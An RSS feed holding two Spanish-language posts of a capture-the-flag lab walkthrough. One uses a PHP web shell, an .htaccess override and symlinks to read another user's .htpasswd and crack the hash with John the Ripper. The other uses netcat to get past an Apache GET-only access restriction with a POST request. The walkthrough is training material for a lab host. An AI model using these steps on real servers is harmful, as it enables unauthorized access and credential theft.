<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Labs DragonJAR &#187; .htaccess</title>
	<atom:link href="http://labs.dragonjar.org/tag/htaccess/feed" rel="self" type="application/rss+xml" />
	<link>http://labs.dragonjar.org</link>
	<description>Laboratorios de Seguridad Informática: Comunidad DragonJAR</description>
	<lastBuildDate>Sun, 06 Jun 2010 10:34:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Solución del HackTaller 01 DragonJAR (VI de VIII)</title>
		<link>http://labs.dragonjar.org/solucion-del-hacktaller-01-dragonjar-vi-de-viii</link>
		<comments>http://labs.dragonjar.org/solucion-del-hacktaller-01-dragonjar-vi-de-viii#comments</comments>
		<pubDate>Mon, 01 Sep 2008 19:53:52 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[DragoNLab-HackTaller]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[Análisis de Malware]]></category>
		<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[Comandos Linux]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Shell PHP]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>

		<guid isPermaLink="false">http://labs.dragonjar.org/?p=246</guid>
		<description><![CDATA[<img src="http://img213.imageshack.us/img213/9760/icolabscu3.jpg"  />]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Continuamos con la quinta entrega de la solución del HackTaller 01 de la Comunidad DragonJAR en formato de video.</p>
<p style="text-align: justify;">Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 5 publicado por <a href="http://sg6-labs.blogspot.com/2008/03/secgame-1-sauron-resolucin-nivel-5.html" target="_blank"><strong>SG6 Labs</strong></a>:</p>
<p style="text-align: justify;"><a href="http://www.4shared.com/file/61351393/8da74e57/Solucionario_05_HackTaller_LabsDragonJARorg.html" target="_blank"><strong>Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR</strong></a> (SecGame: Sauron)(password: www.dragonjar.org).</p>
<p style="text-align: justify;"><strong>Herramientas necesarias:</strong></p>
<p style="text-align: justify;"><a href="http://es.wikipedia.org/wiki/L%C3%ADnea_de_comandos" target="_blank"></a><a href="../test-de-penetracion-con-backtrack-conceptos-basicos" target="_blank">BackTrack</a>,<a href="http://es.wikipedia.org/wiki/Servidor_web" target="_blank"></a> <a href="http://es.wikipedia.org/wiki/PHP_Shell" target="_blank">Shell PHP</a> (en nuestro caso, <a href="http://www.hirednetwork.com/?p=138" target="_blank">C99</a>), <a href="http://labs.dragonjar.org/laboratorios-hacking-tecnicas-y-contramedidas-ataques-por-fuerza-bruta-brute-force-iii" target="_blank">John The Ripper</a>, <a href="http://www.4shared.com/file/50821894/ef891491/nc11nt.html" target="_blank"><br />
</a></p>
<p style="text-align: justify;"><strong>Palabras claves (Documentos de interés, Definiciones):</strong></p>
<p style="text-align: justify;"><a href="http://es.wikipedia.org/wiki/Servidor_web" target="_blank">Servidor Web</a> &#8211; <a href="http://es.wikipedia.org/wiki/Apache_http_server" target="_blank">Apache</a> &#8211; .<a href="http://mundogeek.net/archivos/2005/05/04/htaccess/" target="_blank">HTACCESS</a> &#8211; <a href="http://labs.dragonjar.org/comandos-habituales-en-linux" target="_blank">Comandos habituales en Linux</a> &#8211; <a href="http://es.wikipedia.org/wiki/.php" target="_blank">PHP</a> &#8211; <a href="../laboratorios-hacking-tecnicas-y-contramedidas-escaneo-de-vulnerabilidades-i" target="_blank">Vulnerabilidades</a> &#8211;  <a href="http://es.wikipedia.org/wiki/L%C3%ADnea_de_comandos" target="_blank">Shell</a>, <a href="http://es.wikipedia.org/wiki/PHP_Shell" target="_blank">Shell PHP</a>, <a href="http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/" target="_blank">Null Byte Injection</a></p>
<p style="text-align: justify;"><span id="more-246"></span>El nivel 5 es quizá uno de los momentos menos concretos de todos los que se pueden presentar. Ahora hemos conseguido ser usuarios locales del sistema, podemos ejecutar comandos, leer directorios, ver configuraciones, y podemos, en definitiva, explorar muchísimas posibilidades.</p>
<p>Sin embargo, hay que matizar algo importante, que puede servir para ahorrarnos muchas horas de trabajo inútil: si nos encontramos en un sistema actualizado, sin fallos de seguridad en el kernel y en otros servicios administrativos, es muy difícil, a menos que el administrador haya configurado algo de forma errónea, escalar privilegios directamente, hacia un usuario administrativo. ¿Qué podemos hacer entonces en estas situaciones?</p>
<p>Nuestro objetivo, en estos casos en los que ser &#8220;root&#8221; o &#8220;Administrador&#8221; no parece ser inmediato, será extraer la mayor cantidad de información del sistema, obtener el mayor número de cuentas de usuario posibles, etc.</p>
<p><strong>¿Cómo conseguir eso?</strong></p>
<p style="text-align: justify;">Primeramente, en los sistemas que tengan servicios web, nos centraremos en estos, ¿por qué?. Básicamente porque el aislamiento entre usuarios web, es quizá no complicado, pero sí tedioso. Es fácil encontrar escenarios en los que directamente podamos acceder a los directorios de otros usuarios en la web, y leer sus ficheros, porque todas estas carpetas pueden ser leídas por el usuario que ejecuta el servidor web ( apache, httpd, etc ). En otros escenarios los usuarios web estarán aislados usando cgi-wrappers. Y únicamente, en los entornos más avanzados y seguros, cada usuario web poseerá una máquina virtual o un vps, en la que sólo existirá él. En caso de no existir escenario web, otros escenarios posibles son por este orden: ficheros de configuración, ficheros temporales, ficheros de logs y permisos inseguros.</p>
<p>En este escenario que nos ocupa, relativamente común en un entorno de seguridad medio con árbol web (incluso muy común en granjas de servidores web), vamos a ver cómo se puede proceder. Lo primero, saber quiénes son los usuarios.</p>
<p><strong>blindware:x:500:500::/var/www/blindware:/bin/bash<br />
intranet:x:501:501::/var/www/intranet:/bin/bash<br />
developer:x:502:502::/home/developer:/bin/bash</strong></p>
<p>El sistema parece tener 3 usuarios. 2 de ellos, usuarios web, uno de los cuales es el usuario con el que podemos ejecutar comandos, y otro es el usuario “intranet”.</p>
<p>Podemos probar a acceder al directorio del usuario intranet (<strong>/var/www/intranet</strong>), pero rápidamente nos daremos cuenta, que poco podemos hacer, pues nos deniega el acceso. Incluso si intentamos leer <strong>/var/www</strong>, obtendremos resultado parecido, puesto que sus permisos son los siguientes:</p>
<p><strong>d&#8211;x&#8211;x&#8211;x 8 root root 4096 May 12 13:52 www</strong></p>
<p>Ésta situación es bastante común, sin embargo, hay un fichero en el sistema que nos será siempre de gran utilidad, y es la configuración del propio Apache, la cual habitualmente se encuentra desprotegida (en este caso dentro de <strong>/etc/httpd/httpd.conf</strong>).</p>
<p><strong>&lt;VirtualHost *:80&gt;<br />
ServerAdmin blindware@blindware.inc<br />
DocumentRoot /var/www/blindware/htdocs<br />
ServerName www.blindware.inc<br />
SuexecUserGroup blindware blindware<br />
&lt;Directory /&gt;<br />
Options Indexes SymLinksIfOwnerMatch ExecCGI<br />
AllowOverride All<br />
&lt;/Directory&gt;<br />
&lt;/VirtualHost&gt;</strong></p>
<p><strong>&lt;VirtualHost *:80&gt;<br />
ServerAdmin intranet@blindware.inc<br />
DocumentRoot /var/www/intranet/htdocs<br />
ServerName intranet.blindware.inc<br />
SuexecUserGroup intranet intranet<br />
&lt;Directory /&gt;<br />
Options Indexes SymLinksIfOwnerMatch ExecCGI<br />
AllowOverride All<br />
&lt;/Directory&gt;<br />
&lt;/VirtualHost&gt;</strong></p>
<p>De esta configuración, lo primero que extraemos, es que los hosts están aislados mediante Apache suEXEC, lo cual hace que PHP esté configurado para ejecución en modo CGI, en vez de cómo módulo de Apache, y por ello antes necesitábamos permisos de ejecución en los ficheros PHP. Tal y como comentamos con anterioridad, no es recomendable ir reinventando la rueda a cada paso, por ello, la pregunta que nos tenemos que hacer en este punto es: ¿existe algún procedimiento público y documentado que permita sobrepasar los mecanismos de aislamiento de hosts basados en Apache suEXEC?.</p>
<p>Existe, únicamente tenemos que buscar en Google: &#8220;<strong>apache suexec</strong>&#8220;, &#8220;<strong>apache suexec bypass</strong>&#8220;, o similares y encontraremos un documento denominado &#8220;<strong>Apache suEXEC Bypass</strong>&#8221; en el cual se nos detalla de forma bastante extensa los problemas de configuración asociados a éste sistema.</p>
<p>A grandes rasgos, nosotros vamos a sacar lo más interesante del documento, para hacernos una idea de cómo podemos proceder para leer ficheros dentro del directorio web del usuario intranet.</p>
<p><strong>1.</strong> Los diferentes hosts virtuales de Apache, mediante suEXEC, lo que consiguen es que cada host ejecute comandos CGI, bajo un usuario diferente. De esta forma, por ejemplo, nosotros ejecutamos comandos con “blindware”, mientras que el vhost intranet, ejecuta comandos con el usuario “intranet”.</p>
<p><strong>2.</strong> Esto permite un esquema de aislamiento “relativamente” sencillo.</p>
<p><strong>drwxr-x&#8212; 3 blindware apache 4096 nov 25 17:00 blindware<br />
drwxr-x&#8212; 3 intranet apache 4096 nov 25 17:00 intranet</strong></p>
<p>Si nos damos cuenta, cada usuario es propietario de su directorio, y ningún otro usuario puede acceder a ellos, a excepción del usuario apache, con el que se ejecuta el servicio web. Esto &#8220;garantiza&#8221;, que aunque el usuario ejecute comandos en el sistema, ningún usuario podrá acceder al directorio de otro usuario.</p>
<p><strong>3.</strong> Esta idea, cuenta con un fallo: el enlace simbólico. Los enlaces simbólicos se pueden establecer sobre ficheros en los que no tenemos permisos. Dicho de otra forma, nosotros como usuario “blindware”, podemos enlazar cualquier fichero del usuario “intranet”, del que conozcamos su existencia.</p>
<p><strong>4.</strong> Una vez enlazado el fichero, podremos usar Apache, para leer el enlace simbólico, de esta forma, el enlace simbólico será leido con los permisos de Apache, usuario Apache, y podremos acceder a aquellos directorios a los que Apache tenga acceso, que comúnmente son todos los del árbol web, puesto que debe poder leerlos.</p>
<p><strong>5.</strong> Para que el ataque tenga éxito Apache, es así por defecto, debe estar activa la opción <strong>FollowSymLinks</strong> en Apache. Por el contrario, si la opción que se encuentra activa es <strong>SymLinksIfOwnerMatch</strong>, el ataque no se podrá realizar, puesto que Apache, únicamente seguirá enlaces que apunten a ficheros propiedad del dueño del enlace.</p>
<p><strong>6.</strong> En caso de estar activa la directiva <strong>SymLinksIfOwnerMatch</strong>, podrá ser modificada por un usuario mediante un fichero <strong>.htaccess</strong>, siempre que las opciones <strong>AllowOverride Options</strong>, o <strong>AllowOverride All</strong>, estén habilitadas.</p>
<p>A priori, parece que nos encontramos en un escenario vulnerable: se usa <strong>suEXEC</strong>, y aunque se encuentra habilitada la opción <strong>SymLinksIfOwnerMatch</strong>, también está habilitada la cláusula <strong>AllowOverride All</strong>. Por tanto, es cuestión de proceder, a través de nuestra shell en PHP según lo que vamos a describir a continuación. Un detalle importante, cuando queramos ejecutar contenido en nuestra shell PHP, cualquier instrucción que incluya caracteres mínimamente extraños, debemos hace uso de URLEncode.</p>
<p><strong>1.</strong> Lo primero que queremos hacer es escribir un fichero <strong>.htaccess</strong> que nos permita aprovecharnos de esta vulnerabilidad. La orden bien pudiera ser esta.</p>
<p><strong>echo &#8220;Options -SymLinksIfOwnerMatch +FollowSymLinks&#8221; &gt; .htaccess</strong></p>
<p>Pero como sabemos, debe ser URLEncodeada, quedando una cadena, para su ejecución en nuestra shell, como la siguiente:</p>
<p><strong>echo+%22Options+-SymLinksIfOwnerMatch+%2BFollowSymLinks%22+%3E+.htaccess</strong></p>
<p><strong>2. </strong>Ahora es cuestión de crear un enlace simbólico, sobre algún contenido que nos interese leer del directorio “intranet”. En este caso, lo más interesante es leer el fichero .htaccess de ese directorio, del que nos garantizamos su existencia, y que además nos impide el acceso al contenido web de <strong>http://intranet.blindware.inc</strong>.<br />
Creamos pues el enlace simbólico:</p>
<p style="text-align: justify;"><strong>ln –s /var/www/intranet/htdocs/.htaccess htaccess</strong></p>
<p>De esta forma, tenemos un enlace directo, en nuestro directorio <strong>http://www.blindware.inc/_controlp/htacccess</strong>, que una vez visitado nos dará el contenido del fichero:</p>
<p><strong>Options +Indexes<br />
AuthName &#8220;Blindware &#8211; Intranet Protected&#8221;<br />
AuthType Basic<br />
AuthUserFile /var/www/intranet/htdocs/.htpasswd<br />
require valid-user</strong></p>
<p><strong>3.</strong> Repetimos el proceso, una vez que conocemos la localización del fichero .htpasswd. Para ello creamos otro enlace simbólico: <strong></strong></p>
<p style="text-align: justify;"><strong>ln -s /var/www/intranet/htdocs/.htpasswd htpasswd</strong></p>
<p>De esta forma, creamos un enlace directo, en nuestro directorio <strong>http://www.blindware.inc/_controlp/htpasswd</strong>, que una vez visitado nos dará el contenido del fichero.</p>
<p><strong>admin:tCPJIYCZjtqF6</strong></p>
<p><strong>4.</strong> Tenemos el usuario, y el hash del acceso a intranet.blindware.inc, podemos bien intentar crackearlo, bien seguir intentando la lectura de ficheros contenidos en ese directorio. A priori es un hash DES tradicional, con lo cual podemos intentar romperlo, a ver qué sucede.</p>
<p>Para romper el hash, hacemos uso de la herramienta “john the ripper”, que es con diferencia el crackeador de passwords más conocido de Unix.</p>
<p><strong>$ john htpasswd</strong><br />
<strong>guesses: 1 time: 0:00:00:10 (3) c/s: 335628 trying: 132449 &#8211; 132498<br />
Loaded 1 password hash (Traditional DES [64/64 BS MMX])<br />
132456 (admin)</strong></p>
<p>Pues ya conocemos el password: 132456 con usuario admin. Lo que nos permite acceder a intranet.blindware.inc y seguir avanzando en la resolución de Sauron. Dentro de 15 días, continuaremos con el siguiente nivel.</p>
]]></content:encoded>
			<wfw:commentRss>http://labs.dragonjar.org/solucion-del-hacktaller-01-dragonjar-vi-de-viii/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Solución del HackTaller 01 DragonJAR (III de VIII)</title>
		<link>http://labs.dragonjar.org/solucion-del-hacktaller-01-dragonjar-iii-de-viii</link>
		<comments>http://labs.dragonjar.org/solucion-del-hacktaller-01-dragonjar-iii-de-viii#comments</comments>
		<pubDate>Wed, 13 Aug 2008 18:38:36 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[DragoNLab-HackTaller]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[Análisis de Malware]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Netcat]]></category>
		<category><![CDATA[Proxy]]></category>

		<guid isPermaLink="false">http://labs.dragonjar.org/?p=80</guid>
		<description><![CDATA[<img src="http://img213.imageshack.us/img213/9760/icolabscu3.jpg"  />]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Continuamos con la tercera entrega de la solución del HackTaller 01 de la Comunidad DragonJAR en formato de video.</p>
<p style="text-align: justify;">Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 2 publicado por<a href="http://www.sg6.es/labs/" target="_blank"> <strong>SG6 Labs</strong></a>:</p>
<p style="text-align: justify;"><a href="http://www.4shared.com/file/50846686/95a4ef/H_ack_Taller_DragonJAR_SECGAME_03.html" target="_blank"><strong>Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR</strong></a> (SecGame: Sauron)(password: www.dragonjar.org)</p>
<p style="text-align: justify;"><strong>Herramientas necesarias:</strong></p>
<p style="text-align: justify;"><a href="http://www.4shared.com/file/50821894/ef891491/nc11nt.html" target="_blank">NetCat</a></p>
<p style="text-align: justify;"><strong>Palabras claves (Documentos de interés, Definiciones):</strong></p>
<p style="text-align: justify;"><a href="http://es.wikipedia.org/wiki/Netcat" target="_blank">NetCat</a> &#8211; <a href="http://es.wikipedia.org/wiki/Servidor_web" target="_blank">Servidor Web</a> &#8211; <a href="http://es.wikipedia.org/wiki/Apache_http_server" target="_blank">Apache</a> &#8211; <a href="http://es.wikipedia.org/wiki/.php" target="_blank">PHP</a> &#8211; <a href="../laboratorios-hacking-tecnicas-y-contramedidas-escaneo-de-vulnerabilidades-i" target="_blank">Vulnerabilidades</a> &#8211; <a href="http://extensionesfirefox.blogspot.com/2007/07/tamper-data-edita-cabeceras-html.html" target="_blank">Tamper Data</a> &#8211; <a href="http://es.wikipedia.org/wiki/Proxy" target="_blank">Proxy</a> &#8211; <a href="http://foros.hacktimes.com/?q=node/37" target="_blank">Paros Proxy</a> &#8211; <a href="http://es.wikipedia.org/wiki/Perl" target="_blank">Perl</a> &#8211; <a href="http://mundogeek.net/archivos/2005/05/04/htaccess/" target="_blank">.HTACCESS</a> &#8211; <a href="http://trevinca.ei.uvigo.es/%7Etxapi/espanol/proyecto/superior/memoria/node42.html" target="_blank">Peticiones</a></p>
<p style="text-align: justify;">Lo primero que corresponde es analizar el comportamiento de un acceso a dicho directorio bajo unos cuantos supuestos. Cada cual lo puede hacer como más le guste, desde Mozilla con Tamper Data, con un proxy intermedio como Paros, o directamente con un nc desde la línea de comandos, aquí usaremos esta última.</p>
<p style="text-align: justify;"><span id="more-80"></span><strong>&gt; nc www.blindware.inc 80</strong><br />
GET /data/stats HTTP/1.0</p>
<p>HTTP/1.1 302 Found<br />
Date: Tue, 17 Jul 2007 09:56:15 GMT<br />
Server: Apache/2.2.4 (Fedora)<br />
Location: http://www.blindware.inc/data/error-stats.html<br />
Content-Length: 312<br />
Connection: close<br />
Content-Type: text/html; charset=iso-8859-1</p>
<p><strong>&gt; nc www.blindware.inc 80</strong><br />
GET /data/stats/index.html HTTP/1.0</p>
<p>HTTP/1.1 302 Found<br />
Date: Tue, 17 Jul 2007 09:56:15 GMT<br />
Server: Apache/2.2.4 (Fedora)<br />
Location: http://www.blindware.inc/data/error-stats.html<br />
Content-Length: 312<br />
Connection: close<br />
Content-Type: text/html; charset=iso-8859-1</p>
<p><strong>&gt; nc www.blindware.inc 80</strong><br />
GET /data/stats/ficherocualquiera HTTP/1.0</p>
<p>HTTP/1.1 302 Found<br />
Date: Tue, 17 Jul 2007 09:56:15 GMT<br />
Server: Apache/2.2.4 (Fedora)<br />
Location: http://www.blindware.inc/data/error-stats.html<br />
Content-Length: 312<br />
Connection: close<br />
Content-Type: text/html; charset=iso-8859-1</p>
<p>Primera Idea: De esta primera prueba nos debemos percatar que incluso con ficheros aleatorios, cuya probabilidad de existir en esa ruta es prácticamente 0%, nos sigue dando la misma respuesta, por tanto podemos deducir que existe un control de acceso a ese directorio por parte del propio Apache, que fuerza una redirección a la URL: <strong>http://www.blindware.inc/data/error-stats.html</strong>, o dicho de otra forma, que solicitemos el fichero que solicitemos Apache nos va a mostrar la pagina de error-stats.html</p>
<p><strong>Visto esto, veámos que información da el “error-stats.html”:</strong></p>
<p>Access to “/var/www/blindware/htdocs/data/stats/” Forbidden<br />
Your access isn’t allowed to this path<br />
HTTP METHOD RESTRICTED TO 127.0.0.1</p>
<p>Esta web nos devuelve una información relevante sobre una denegación de acceso a la que somos redirigidos siempre, por tanto, y como consejo general a menos que estemos muy familiarizados con Apache, lo que haremos será documentar qué motivos pueden llevar a Apache a generar un mensaje de este tipo. Para ello bien nos puede servir buscar en Google: <a href="http://www.google.es/search?q=access+forbidden+apache" target="_blank">Access Forbidden Apache</a>. Leyendo por encima los enlaces que aparecen, encontraremos como información relevante que es un error de Apache numerado con el número 403 y que se produce bajo ciertas circunstancias:</p>
<ul>
<li>Solicitar un directorio que no contiene índice ( index.html ) cuando la opción INDEXES está desactivada.</li>
<li>Solicitar un directorio que tiene denegado el acceso bajo todas o alguna circunstancia.</li>
</ul>
<p style="text-align: justify;">Así mismo, vemos que mediante ficheros “<strong>.htaccess</strong>” o en la propia configuración de Apache, podemos configurar una directiva denominada ErrorDocument 403 que nos redirige a una página web concreta en caso de que se produzca un error 403. Es evidente, que en nuestro escenario no estamos solicitando un directorio que no contiene índice, sino que ante cualquier fichero que solicitemos, nos produce este resultado, por tanto, a priori, nos encontraremos en el caso en el que el directorio tiene denegado el acceso y se ha asociado una cláusula ErrorDocument a él.</p>
<p>Intentemos emular por tanto el escenario, y para ello qué mejor que dirigirse al howto para control de accesos que dispone Apache y ver qué habría que introducir en su configuración para obtener un comportamiento como el que vemos en este servidor. En esta web encontraremos algún que otro ejemplo, pero uno interesante por encima del resto:</p>
<p>Order deny,allow<br />
Deny from all<br />
Allow from W.X.Y.Z</p>
<p style="text-align: justify;">Segunda Idea: de lo anterior podemos inducir que bien una cláusula bien un fichero .htaccess dentro del directorio data/stats están limitando el acceso. Y que su estructura será parecida a la siguiente:</p>
<p>ErrorDocument 403 http://www.blindware.inc/data/error-stats.html<br />
Order deny,allow<br />
Deny from all<br />
Allow from 127.0.0.1</p>
<p>La primera línea es la que marca la redirección al fichero “error-stats.html” en caso de que se produzca un acceso no autorizado. Así mismo, la cláusula “Deny from all” deniega el acceso a todos los usuarios menos a los autorizados por una cláusula “Allow” que en este caso serán los provenientes de 127.0.0.1 (localhost).</p>
<p>Con esto hemos replicado el comportamiento del escenario del nivel, ¿qué podemos hacer ahora?. Siempre tenemos 2 opciones una vez hemos conseguido conocer la estructura y replicarla bajo nuestro total control: buscar una vulnerabilidad pública o descubrirla por nosotros mismos. Desde aquí recomendamos encarecidamente el no reinventar la rueda: las listas públicas de vulnerabilidades existen para algo y es para ser usadas. Es cierto, que no siempre las vulnerabilidades existentes, y los exploits desarrollados para ellas se adaptarán 100% a nuestras necesidades, pero con diferencia nos ahorrarán mucho trabajo. Por ello, para sobrepasar esta medida de protección recomendamos buscar en Google etiquetas como las siguientes: <a href="http://www.google.es/search?q=apache+access+bypass" target="_blank">apache access bypass</a>, <a href="http://www.google.es/search?q=htaccess+bypass" target="_blank">htaccess bypass</a>, o <a href="http://www.google.es/search?q=apache+access+weakness" target="_blank">apache access weakness</a>.</p>
<p>Estas búsquedas nos devolverán un importante número de referencias a vulnerabilidades públicas en el control de accesos por parte de Apache (<a href="http://www.securityfocus.com/bid/9874" target="_blank">R1</a>, <a href="http://httpd.apache.org/docs/2.0/es/howto/auth.html" target="_blank">R2</a>).</p>
<p>De la lectura de estas fuentes, podemos suponer que es posbile que exista una vulnerabilidad de configuración en el escenario propuesto para la segunda idea. ¿Cuál sería esta vulnerabilidad? Por ejemplo, una configuración como la siguiente:</p>
<p>ErrorDocument 403 http://www.blindware.inc/data/error-stats.html<br />
&lt;LIMIT GET&gt;<br />
Order deny,allow<br />
Deny from all<br />
Allow from 127.0.0.1<br />
&lt;/LIMIT&gt;</p>
<p>Para verificarlo volvemos a hacer uso de nc desde la línea de comandos.</p>
<p><strong>&gt; nc www.blindware.inc 80</strong><br />
OPTIONS /data/stats/ HTTP/1.0</p>
<p>HTTP/1.1 200 OK<br />
Date: Tue, 17 Jul 2007 12:29:51 GMT<br />
Server: Apache/2.2.4 (Fedora)<br />
Allow: GET,HEAD,POST,OPTIONS,TRACE<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html; charset=UTF-8</p>
<p><strong>&gt; nc www.blindware.inc 80</strong><br />
TRACE /data/stats/ HTTP/1.0</p>
<p>HTTP/1.1 200 OK<br />
Date: Tue, 17 Jul 2007 12:30:19 GMT<br />
Server: Apache/2.2.4 (Fedora)<br />
Connection: close<br />
Content-Type: message/http</p>
<p>TRACE /data/stats/ HTTP/1.0</p>
<p><strong>&gt; nc www.blindware.inc 80</strong><br />
PUT /data/stats/ HTTP/1.0</p>
<p>HTTP/1.1 405 Method Not Allowed<br />
Date: Tue, 17 Jul 2007 12:30:49 GMT<br />
Server: Apache/2.2.4 (Fedora)<br />
Allow: GET,HEAD,POST,OPTIONS,TRACE<br />
Content-Length: 324<br />
Connection: close<br />
Content-Type: text/html; charset=iso-8859-1</p>
<p>Efectivamente, existe una configuración incorrecta. Con sólo leer las respuestas del servidor vemos cómo únicamente es filtrado el método GET, mientras que por el contrario el método OPTIONS, TRACE o PUT son correctamente procesados por Apache. ¿Cómo se puede explotar esto?.</p>
<p>La explotación de este fallo de seguridad depende del fichero sobre el que hagamos la petición, en caso de ser un fichero procesable por un módulo de Apache, como puede ser PHP, PERL, etc, la explotación es mucho más sencilla porque los metodos OPTIONS o PUT devolverán exactamente lo mismo que un método GET en la inmensa mayoría de las ocasiones. Sin embargo, si el fichero lo procesa directamente Apache, como es el caso de los ficheros HTML con contenido estático, el único método diferente a GET que tiene el mismo resultado es POST. Por tanto, y dado que en este caso parece que lo que estamos buscando es el fichero “index.html” debemos hacer uso del método POST.</p>
<p><strong>&gt; nc www.blindware.inc 80</strong><br />
POST /data/stats/ HTTP/1.0</p>
<p>HTTP/1.1 200 OK<br />
Date: Tue, 17 Jul 2007 12:31:57 GMT<br />
Server: Apache/2.2.4 (Fedora)<br />
Last-Modified: Tue, 08 May 2007 20:46:48 GMT<br />
ETag: “a8023-4eed-8431de00?<br />
Accept-Ranges: bytes<br />
Content-Length: 20205<br />
Connection: close<br />
Content-Type: text/html; charset=UTF-8<br />
&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;Web Server Statistics for Blindware Inc.&lt;/title&gt;<br />
&lt;meta http-equiv=”Content-Type” content=”text/html; charset=ISO-8859-1? /&gt;<br />
&lt;meta name=”robots” content=”noindex,nofollow” /&gt;<br />
&lt;title&gt;Server Statistics for Blindware Inc.&lt;/title&gt;(..)</p>
<p>Efectivamente, nos devuelve el fichero index.html de forma correcta, por tanto podemos salvarlo a un fichero y leerlo localmente con cualquier navegador, viendo entre otros los siguientes datos:</p>
<p><strong>Directory Report</strong></p>
<p>This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)</p>
<p><strong>/web/<br />
[root directory]<br />
/data/<br />
/icons/<br />
/_controlp/</strong></p>
<p>En la sección destinada a directorios accedidos encontramos un directorio en el que no habíamos reparado y de nombre “_controlp/”.</p>
]]></content:encoded>
			<wfw:commentRss>http://labs.dragonjar.org/solucion-del-hacktaller-01-dragonjar-iii-de-viii/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

